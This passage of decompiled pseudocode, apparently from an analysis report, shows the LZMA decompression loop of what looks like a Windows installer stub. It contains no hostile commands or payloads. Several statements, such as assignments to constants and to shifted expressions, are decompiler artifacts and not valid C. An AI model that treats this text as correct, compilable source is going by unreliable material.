                                                                                                        						 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        						if( *(__ebp - 0x38) >= 4) {
                                                                                                        							if( *(__ebp - 0x38) >= 0xa) {
                                                                                                        								_t97 = __ebp - 0x38;
                                                                                                        								 *_t97 =  *(__ebp - 0x38) - 6;
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                                        							}
                                                                                                        						} else {
                                                                                                        							 *(__ebp - 0x38) = 0;
                                                                                                        						}
                                                                                                        						if( *(__ebp - 0x34) == __edx) {
                                                                                                        							__ebx = 0;
                                                                                                        							__ebx = 1;
                                                                                                        							L60:
                                                                                                        							__eax =  *(__ebp - 0x58);
                                                                                                        							__edx = __ebx + __ebx;
                                                                                                        							__ecx =  *(__ebp - 0x10);
                                                                                                        							__esi = __edx + __eax;
                                                                                                        							__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        							__ax =  *__esi;
                                                                                                        							 *(__ebp - 0x54) = __esi;
                                                                                                        							__edi = __ax & 0x0000ffff;
                                                                                                        							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        							if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								_t216 = __edx + 1; // 0x1
                                                                                                        								__ebx = _t216;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								 *__esi = __ax;
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x10) = __ecx;
                                                                                                        								0x800 = 0x800 - __edi;
                                                                                                        								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							 *(__ebp - 0x44) = __ebx;
                                                                                                        							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        								L59:
                                                                                                        								if(__ebx >= 0x100) {
                                                                                                        									goto L54;
                                                                                                        								}
                                                                                                        								goto L60;
                                                                                                        							} else {
                                                                                                        								L57:
                                                                                                        								if( *(__ebp - 0x6c) == 0) {
                                                                                                        									 *(__ebp - 0x88) = 0xf;
                                                                                                        									goto L170;
                                                                                                        								}
                                                                                                        								__ecx =  *(__ebp - 0x70);
                                                                                                        								__eax =  *(__ebp - 0xc);
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        								_t202 = __ebp - 0x70;
                                                                                                        								 *_t202 =  *(__ebp - 0x70) + 1;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        								goto L59;
                                                                                                        							}
                                                                                                        						} else {
                                                                                                        							__eax =  *(__ebp - 0x14);
                                                                                                        							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        							if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        								__eax = __eax +  *(__ebp - 0x74);
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 8);
                                                                                                        							__ebx = 0;
                                                                                                        							__ebx = 1;
                                                                                                        							__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        							 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        							L40:
                                                                                                        							__eax =  *(__ebp - 0x5b) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
                                                                                                        							__ecx =  *(__ebp - 0x58);
                                                                                                        							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
                                                                                                        							 *(__ebp - 0x48) = __eax;
                                                                                                        							__eax = __eax + 1;
                                                                                                        							__eax = __eax << 8;
                                                                                                        							__eax = __eax + __ebx;
                                                                                                        							__esi =  *(__ebp - 0x58) + __eax * 2;
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        							__ax =  *__esi;
                                                                                                        							 *(__ebp - 0x54) = __esi;
                                                                                                        							__edx = __ax & 0x0000ffff;
                                                                                                        							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
                                                                                                        							if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        								__cx = __ax;
                                                                                                        								 *(__ebp - 0x40) = 1;
                                                                                                        								__cx = __ax >> 5;
                                                                                                        								__ebx = __ebx + __ebx + 1;
                                                                                                        								 *__esi = __ax;
                                                                                                        							} else {
                                                                                                        								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                                                                                        								 *(__ebp - 0x10) = __ecx;
                                                                                                        								0x800 = 0x800 - __edx;
                                                                                                        								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                                                                                        								__ebx = __ebx + __ebx;
                                                                                                        								 *__esi = __cx;
                                                                                                        							}
                                                                                                        							 *(__ebp - 0x44) = __ebx;
                                                                                                        							if( *(__ebp - 0x10) >= 0x1000000) {
                                                                                                        								L38:
                                                                                                        								__eax =  *(__ebp - 0x40);
                                                                                                        								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                                                                                        									while(1) {
                                                                                                        										if(__ebx >= 0x100) {
                                                                                                        											break;
                                                                                                        										}
                                                                                                        										__eax =  *(__ebp - 0x58);
                                                                                                        										__edx = __ebx + __ebx;
                                                                                                        										__ecx =  *(__ebp - 0x10);
                                                                                                        										__esi = __edx + __eax;
                                                                                                        										__ecx =  *(__ebp - 0x10) >> 0xb;
                                                                                                        										__ax =  *__esi;
                                                                                                        										 *(__ebp - 0x54) = __esi;
                                                                                                        										__edi = __ax & 0x0000ffff;
                                                                                                        										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                                                                                        										if( *(__ebp - 0xc) >= __ecx) {
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                                                                                        											__cx = __ax;
                                                                                                        											_t169 = __edx + 1; // 0x1
                                                                                                        											__ebx = _t169;
                                                                                                        											__cx = __ax >> 5;
                                                                                                        											 *__esi = __ax;
                                                                                                        										} else {
                                                                                                        											 *(__ebp - 0x10) = __ecx;
                                                                                                        											0x800 = 0x800 - __edi;
                                                                                                        											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                                                                                        											__ebx = __ebx + __ebx;
                                                                                                        											 *__esi = __cx;
                                                                                                        										}
                                                                                                        										 *(__ebp - 0x44) = __ebx;
                                                                                                        										if( *(__ebp - 0x10) < 0x1000000) {
                                                                                                        											L45:
                                                                                                        											if( *(__ebp - 0x6c) == 0) {
                                                                                                        												 *(__ebp - 0x88) = 0xe;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											__ecx =  *(__ebp - 0x70);
                                                                                                        											__eax =  *(__ebp - 0xc);
                                                                                                        											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        											_t155 = __ebp - 0x70;
                                                                                                        											 *_t155 =  *(__ebp - 0x70) + 1;
                                                                                                        											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        										}
                                                                                                        									}
                                                                                                        									L53:
                                                                                                        									_t172 = __ebp - 0x34;
                                                                                                        									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
                                                                                                        									L54:
                                                                                                        									__al =  *(__ebp - 0x44);
                                                                                                        									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                                                                                        									L55:
                                                                                                        									if( *(__ebp - 0x64) == 0) {
                                                                                                        										 *(__ebp - 0x88) = 0x1a;
                                                                                                        										goto L170;
                                                                                                        									}
                                                                                                        									__ecx =  *(__ebp - 0x68);
                                                                                                        									__al =  *(__ebp - 0x5c);
                                                                                                        									__edx =  *(__ebp - 8);
                                                                                                        									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                                                                                        									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                                                                                        									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                                                                                        									 *( *(__ebp - 0x68)) = __al;
                                                                                                        									__ecx =  *(__ebp - 0x14);
                                                                                                        									 *(__ecx +  *(__ebp - 8)) = __al;
                                                                                                        									__eax = __ecx + 1;
                                                                                                        									__edx = 0;
                                                                                                        									_t191 = __eax %  *(__ebp - 0x74);
                                                                                                        									__eax = __eax /  *(__ebp - 0x74);
                                                                                                        									__edx = _t191;
                                                                                                        									L79:
                                                                                                        									 *(__ebp - 0x14) = __edx;
                                                                                                        									L80:
                                                                                                        									 *(__ebp - 0x88) = 2;
                                                                                                        									goto L1;
                                                                                                        								}
                                                                                                        								if(__ebx >= 0x100) {
                                                                                                        									goto L53;
                                                                                                        								}
                                                                                                        								goto L40;
                                                                                                        							} else {
                                                                                                        								L36:
                                                                                                        								if( *(__ebp - 0x6c) == 0) {
                                                                                                        									 *(__ebp - 0x88) = 0xd;
                                                                                                        									L170:
                                                                                                        									_t568 = 0x22;
                                                                                                        									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
                                                                                                        									_t535 = 0;
                                                                                                        									L172:
                                                                                                        									return _t535;
                                                                                                        								}
                                                                                                        								__ecx =  *(__ebp - 0x70);
                                                                                                        								__eax =  *(__ebp - 0xc);
                                                                                                        								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        								_t121 = __ebp - 0x70;
                                                                                                        								 *_t121 =  *(__ebp - 0x70) + 1;
                                                                                                        								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        								goto L38;
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        					L1:
                                                                                                        					_t534 =  *(_t614 - 0x88);
                                                                                                        					if(_t534 > 0x1c) {
                                                                                                        						L171:
                                                                                                        						_t535 = _t534 | 0xffffffff;
                                                                                                        						goto L172;
                                                                                                        					}
                                                                                                        					switch( *((intOrPtr*)(_t534 * 4 +  &M004069D4))) {
                                                                                                        						case 0:
                                                                                                        							if( *(_t614 - 0x6c) == 0) {
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                                        							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                                                                        							_t534 =  *( *(_t614 - 0x70));
                                                                                                        							if(_t534 > 0xe1) {
                                                                                                        								goto L171;
                                                                                                        							}
                                                                                                        							_t538 = _t534 & 0x000000ff;
                                                                                                        							_push(0x2d);
                                                                                                        							asm("cdq");
                                                                                                        							_pop(_t570);
                                                                                                        							_push(9);
                                                                                                        							_pop(_t571);
                                                                                                        							_t610 = _t538 / _t570;
                                                                                                        							_t540 = _t538 % _t570 & 0x000000ff;
                                                                                                        							asm("cdq");
                                                                                                        							_t605 = _t540 % _t571 & 0x000000ff;
                                                                                                        							 *(_t614 - 0x3c) = _t605;
                                                                                                        							 *(_t614 - 0x1c) = (1 << _t610) - 1;
                                                                                                        							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                                                                        							_t613 = (0x300 << _t605 + _t610) + 0x736;
                                                                                                        							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
                                                                                                        								L10:
                                                                                                        								if(_t613 == 0) {
                                                                                                        									L12:
                                                                                                        									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
                                                                                                        									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                                                                                        									goto L15;
                                                                                                        								} else {
                                                                                                        									goto L11;
                                                                                                        								}
                                                                                                        								do {
                                                                                                        									L11:
                                                                                                        									_t613 = _t613 - 1;
                                                                                                        									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
                                                                                                        								} while (_t613 != 0);
                                                                                                        								goto L12;
                                                                                                        							}
                                                                                                        							if( *(_t614 - 4) != 0) {
                                                                                                        								GlobalFree( *(_t614 - 4));
                                                                                                        							}
                                                                                                        							_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        							 *(_t614 - 4) = _t534;
                                                                                                        							if(_t534 == 0) {
                                                                                                        								goto L171;
                                                                                                        							} else {
                                                                                                        								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
                                                                                                        								goto L10;
                                                                                                        							}
                                                                                                        						case 1:
                                                                                                        							L13:
                                                                                                        							__eflags =  *(_t614 - 0x6c);
                                                                                                        							if( *(_t614 - 0x6c) == 0) {
                                                                                                        								 *(_t614 - 0x88) = 1;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                                        							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
                                                                                                        							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                                                                                        							_t45 = _t614 - 0x48;
                                                                                                        							 *_t45 =  *(_t614 - 0x48) + 1;
                                                                                                        							__eflags =  *_t45;
                                                                                                        							L15:
                                                                                                        							if( *(_t614 - 0x48) < 4) {
                                                                                                        								goto L13;
                                                                                                        							}
                                                                                                        							_t546 =  *(_t614 - 0x40);
                                                                                                        							if(_t546 ==  *(_t614 - 0x74)) {
                                                                                                        								L20:
                                                                                                        								 *(_t614 - 0x48) = 5;
                                                                                                        								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
                                                                                                        								goto L23;
                                                                                                        							}
                                                                                                        							 *(_t614 - 0x74) = _t546;
                                                                                                        							if( *(_t614 - 8) != 0) {
                                                                                                        								GlobalFree( *(_t614 - 8));
                                                                                                        							}
                                                                                                        							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
                                                                                                        							 *(_t614 - 8) = _t534;
                                                                                                        							if(_t534 == 0) {
                                                                                                        								goto L171;
                                                                                                        							} else {
                                                                                                        								goto L20;
                                                                                                        							}
                                                                                                        						case 2:
                                                                                                        							L24:
                                                                                                        							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
                                                                                                        							 *(_t614 - 0x84) = 6;
                                                                                                        							 *(_t614 - 0x4c) = _t553;
                                                                                                        							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
                                                                                                        							goto L132;
                                                                                                        						case 3:
                                                                                                        							L21:
                                                                                                        							__eflags =  *(_t614 - 0x6c);
                                                                                                        							if( *(_t614 - 0x6c) == 0) {
                                                                                                        								 *(_t614 - 0x88) = 3;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                                                                                        							_t67 = _t614 - 0x70;
                                                                                                        							 *_t67 =  &(( *(_t614 - 0x70))[1]);
                                                                                                        							__eflags =  *_t67;
                                                                                                        							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                                                                                        							L23:
                                                                                                        							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
                                                                                                        							if( *(_t614 - 0x48) != 0) {
                                                                                                        								goto L21;
                                                                                                        							}
                                                                                                        							goto L24;
                                                                                                        						case 4:
                                                                                                        							goto L133;
                                                                                                        						case 5:
                                                                                                        							goto L137;
                                                                                                        						case 6:
                                                                                                        							goto L0;
                                                                                                        						case 7:
                                                                                                        							__eflags =  *(__ebp - 0x40) - 1;
                                                                                                        							if( *(__ebp - 0x40) != 1) {
                                                                                                        								__eax =  *(__ebp - 0x24);
                                                                                                        								 *(__ebp - 0x80) = 0x16;
                                                                                                        								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        								__eax =  *(__ebp - 0x28);
                                                                                                        								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        								__eax =  *(__ebp - 0x2c);
                                                                                                        								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        								__eax = 0;
                                                                                                        								__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        								__al = __al & 0x000000fd;
                                                                                                        								__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                                        								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                                        								__eax =  *(__ebp - 4);
                                                                                                        								__eax =  *(__ebp - 4) + 0x664;
                                                                                                        								__eflags = __eax;
                                                                                                        								 *(__ebp - 0x58) = __eax;
                                                                                                        								goto L68;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 4);
                                                                                                        							__ecx =  *(__ebp - 0x38);
                                                                                                        							 *(__ebp - 0x84) = 8;
                                                                                                        							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                                        							goto L132;
                                                                                                        						case 8:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__eax =  *(__ebp - 4);
                                                                                                        								__ecx =  *(__ebp - 0x38);
                                                                                                        								 *(__ebp - 0x84) = 0xa;
                                                                                                        								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                                        							} else {
                                                                                                        								__eax =  *(__ebp - 0x38);
                                                                                                        								__ecx =  *(__ebp - 4);
                                                                                                        								__eax =  *(__ebp - 0x38) + 0xf;
                                                                                                        								 *(__ebp - 0x84) = 9;
                                                                                                        								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                                        								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                                        							}
                                                                                                        							goto L132;
                                                                                                        						case 9:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								goto L89;
                                                                                                        							}
                                                                                                        							__eflags =  *(__ebp - 0x60);
                                                                                                        							if( *(__ebp - 0x60) == 0) {
                                                                                                        								goto L171;
                                                                                                        							}
                                                                                                        							__eax = 0;
                                                                                                        							__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        							_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                                        							__eflags = _t258;
                                                                                                        							0 | _t258 = _t258 + _t258 + 9;
                                                                                                        							 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                                                                                        							goto L75;
                                                                                                        						case 0xa:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__eax =  *(__ebp - 4);
                                                                                                        								__ecx =  *(__ebp - 0x38);
                                                                                                        								 *(__ebp - 0x84) = 0xb;
                                                                                                        								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                                                                                        								goto L132;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x28);
                                                                                                        							goto L88;
                                                                                                        						case 0xb:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__ecx =  *(__ebp - 0x24);
                                                                                                        								__eax =  *(__ebp - 0x20);
                                                                                                        								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        							} else {
                                                                                                        								__eax =  *(__ebp - 0x24);
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x28);
                                                                                                        							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        							L88:
                                                                                                        							__ecx =  *(__ebp - 0x2c);
                                                                                                        							 *(__ebp - 0x2c) = __eax;
                                                                                                        							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        							L89:
                                                                                                        							__eax =  *(__ebp - 4);
                                                                                                        							 *(__ebp - 0x80) = 0x15;
                                                                                                        							__eax =  *(__ebp - 4) + 0xa68;
                                                                                                        							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                                        							goto L68;
                                                                                                        						case 0xc:
                                                                                                        							L99:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0xc;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t334 = __ebp - 0x70;
                                                                                                        							 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t334;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							__eax =  *(__ebp - 0x2c);
                                                                                                        							goto L101;
                                                                                                        						case 0xd:
                                                                                                        							goto L36;
                                                                                                        						case 0xe:
                                                                                                        							goto L45;
                                                                                                        						case 0xf:
                                                                                                        							goto L57;
                                                                                                        						case 0x10:
                                                                                                        							L109:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0x10;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t365 = __ebp - 0x70;
                                                                                                        							 *_t365 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t365;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							goto L111;
                                                                                                        						case 0x11:
                                                                                                        							L68:
                                                                                                        							__esi =  *(__ebp - 0x58);
                                                                                                        							 *(__ebp - 0x84) = 0x12;
                                                                                                        							goto L132;
                                                                                                        						case 0x12:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								__eax =  *(__ebp - 0x58);
                                                                                                        								 *(__ebp - 0x84) = 0x13;
                                                                                                        								__esi =  *(__ebp - 0x58) + 2;
                                                                                                        								goto L132;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x4c);
                                                                                                        							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                                        							__ecx =  *(__ebp - 0x58);
                                                                                                        							__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        							__eflags = __eax;
                                                                                                        							__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                                        							goto L130;
                                                                                                        						case 0x13:
                                                                                                        							__eflags =  *(__ebp - 0x40);
                                                                                                        							if( *(__ebp - 0x40) != 0) {
                                                                                                        								_t469 = __ebp - 0x58;
                                                                                                        								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                                                                                        								__eflags =  *_t469;
                                                                                                        								 *(__ebp - 0x30) = 0x10;
                                                                                                        								 *(__ebp - 0x40) = 8;
                                                                                                        								L144:
                                                                                                        								 *(__ebp - 0x7c) = 0x14;
                                                                                                        								goto L145;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x4c);
                                                                                                        							__ecx =  *(__ebp - 0x58);
                                                                                                        							__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        							 *(__ebp - 0x30) = 8;
                                                                                                        							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                                                                                        							L130:
                                                                                                        							 *(__ebp - 0x58) = __eax;
                                                                                                        							 *(__ebp - 0x40) = 3;
                                                                                                        							goto L144;
                                                                                                        						case 0x14:
                                                                                                        							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                                                                                        							__eax =  *(__ebp - 0x80);
                                                                                                        							goto L140;
                                                                                                        						case 0x15:
                                                                                                        							__eax = 0;
                                                                                                        							__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        							__al = __al & 0x000000fd;
                                                                                                        							__eax = (__eflags >= 0) - 1 + 0xb;
                                                                                                        							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                                                                                        							goto L120;
                                                                                                        						case 0x16:
                                                                                                        							__eax =  *(__ebp - 0x30);
                                                                                                        							__eflags = __eax - 4;
                                                                                                        							if(__eax >= 4) {
                                                                                                        								_push(3);
                                                                                                        								_pop(__eax);
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 4);
                                                                                                        							 *(__ebp - 0x40) = 6;
                                                                                                        							__eax = __eax << 7;
                                                                                                        							 *(__ebp - 0x7c) = 0x19;
                                                                                                        							 *(__ebp - 0x58) = __eax;
                                                                                                        							goto L145;
                                                                                                        						case 0x17:
                                                                                                        							L145:
                                                                                                        							__eax =  *(__ebp - 0x40);
                                                                                                        							 *(__ebp - 0x50) = 1;
                                                                                                        							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                                        							goto L149;
                                                                                                        						case 0x18:
                                                                                                        							L146:
                                                                                                        							__eflags =  *(__ebp - 0x6c);
                                                                                                        							if( *(__ebp - 0x6c) == 0) {
                                                                                                        								 *(__ebp - 0x88) = 0x18;
                                                                                                        								goto L170;
                                                                                                        							}
                                                                                                        							__ecx =  *(__ebp - 0x70);
                                                                                                        							__eax =  *(__ebp - 0xc);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							_t484 = __ebp - 0x70;
                                                                                                        							 *_t484 =  *(__ebp - 0x70) + 1;
                                                                                                        							__eflags =  *_t484;
                                                                                                        							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        							L148:
                                                                                                        							_t487 = __ebp - 0x48;
                                                                                                        							 *_t487 =  *(__ebp - 0x48) - 1;
                                                                                                        							__eflags =  *_t487;
                                                                                                        							L149:
                                                                                                        							__eflags =  *(__ebp - 0x48);
                                                                                                        							if( *(__ebp - 0x48) <= 0) {
                                                                                                        								__ecx =  *(__ebp - 0x40);
                                                                                                        								__ebx =  *(__ebp - 0x50);
                                                                                                        								0 = 1;
                                                                                                        								__eax = 1 << __cl;
                                                                                                        								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                                        								__eax =  *(__ebp - 0x7c);
                                                                                                        								 *(__ebp - 0x44) = __ebx;
                                                                                                        								goto L140;
                                                                                                        							}
                                                                                                        							__eax =  *(__ebp - 0x50);
                                                                                                        							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                                                                                        							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                                                                                        							__eax =  *(__ebp - 0x58);
                                                                                                        							__esi = __edx + __eax;
                                                                                                        							 *(__ebp - 0x54) = __esi;
                                                                                                        							__ax =  *__esi;
                                                                                                        							__edi = __ax & 0x0000ffff;
